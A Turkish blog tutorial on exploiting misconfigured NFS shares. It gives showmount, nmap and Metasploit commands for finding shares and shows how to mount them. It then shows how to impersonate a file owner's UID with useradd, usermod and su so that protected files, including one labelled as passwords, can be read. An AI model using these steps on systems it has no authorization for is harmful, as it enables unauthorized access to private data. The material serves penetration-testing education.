NFS Paylaşımının İstismarı
NFS (Network File System) UNIX/Linux işletim sistemlerinin doğal, kararlı ve güçlü bir dosya paylaşım sistemidir. Gerekli yapılandırma dosyası /etc/exports olup güvenlik özellikleri göz ardı edildiğinde istismar edilebilecek bir zafiyete neden olabilir. Bu yazıda NFS paylaşımı üzerinden sistem üzerinde yetki elde etmeye yönelik bir yöntemden bahsedilecektir.
Varsayılan olarak 2049/tcp üzerinden çalışan NFS servisinin tespiti nmap vb. araçlarla gerçekleştirildikten sonra servisin açık olduğu belirlenen varlık üzerindeki paylaşımların tespiti için farklı araçlar kullanılabilir.
Geleneksel Linux sistemlerdeki showmount komutu ile paylaşım tespiti:
# showmount -e 10.0.0.5Nmap aracı ile paylaşım tespiti:
# nmap -n -PN -sS -T5 -p 2049 --script=nfs-showmount 10.0.0.0/24Metasploit ile paylaşım tespiti:
msf > use auxiliary/scanner/nfs/nfsmountTespit edilen paylaşımların yerel sisteme bağlanması şu şekilde gerçekleşir.
msf auxiliary(nfsmount) > set RHOSTS 10.0.0.0/24
msf auxiliary(nfsmount) > run
# mount -t nfs 10.0.05:/paylasim_adi /baglama_diziniDaha öncede belirtildiği üzere /etc/exports içerisindeki
/ *(rw)şeklindeki bir yapılandırma ile bütün sistem herhangi bir erişim izni olmaksızın ağdaki herkesin yerel sistemine okuma/yazma hakkı ile bağlanabilir duruma gelebilmektedir. Ve bu sızma testlerinde büyük ölçekli kurumsal yapılarda dahi karşılaşılabilen bir durumdur. Böyle bir durumda Linux sistemler için gerçekleştirilebilecek post-exploitation adımları uygulanabilir.
Bir diğer durumda bağlanan sistemin farklı UID değerli kullanıcıya ait olması nedeniyle dosyaların açılamaması durumudur. Öncelikle showmount komutu ile /export/home dizininin paylaşıldığı bir ortamda saldırgan sistem üzerinde öncelikle aşağıdaki komut ile hedef dizine yerele bağlanır.
#mount -t nfs 192.168.0.1:/export/home /baglama_diziniHedef dizini bu şekilde yerel sisteme bağlandıktan sonra ls -al komutunun çıktısı sonucunda bağlanan dosyaların yerel sistemde mevcut olmayan UID değerine sahip bir kullanıcıya ait olduğu görülebilir
-rwxr----- 2626 1000 1898 parolalar_docDAC mantığı ile çalışan geleneksel sistemler bu dosyanın açılmasına izin vermeyeceği için şu şekilde bir yöntem izlenebilir. Öncelikle dizin bağı çözülür:
# umount /baglama_diziniÖrnek bir kullanıcı oluşturulup UID değeri paylaşımındaki değer olacak şekilde ayarlanır.
# useradd raptiyeYeni kullanıcının ortamına geçiş yapılır:
# usermod -u 2626 raptiye
# su raptiyeBu noktadan sonra paylaşım tekrar yerele bağlandığında aynı UID'li kullanıcıya sahip olunduğu için bağlanan dosyalar sorunsuz şekilde açılacaktır.
Kaynak:
http://www.agguvenligi.net/2013/01/nfs-istismari.html
Hiç yorum yok:
Yorum Gönder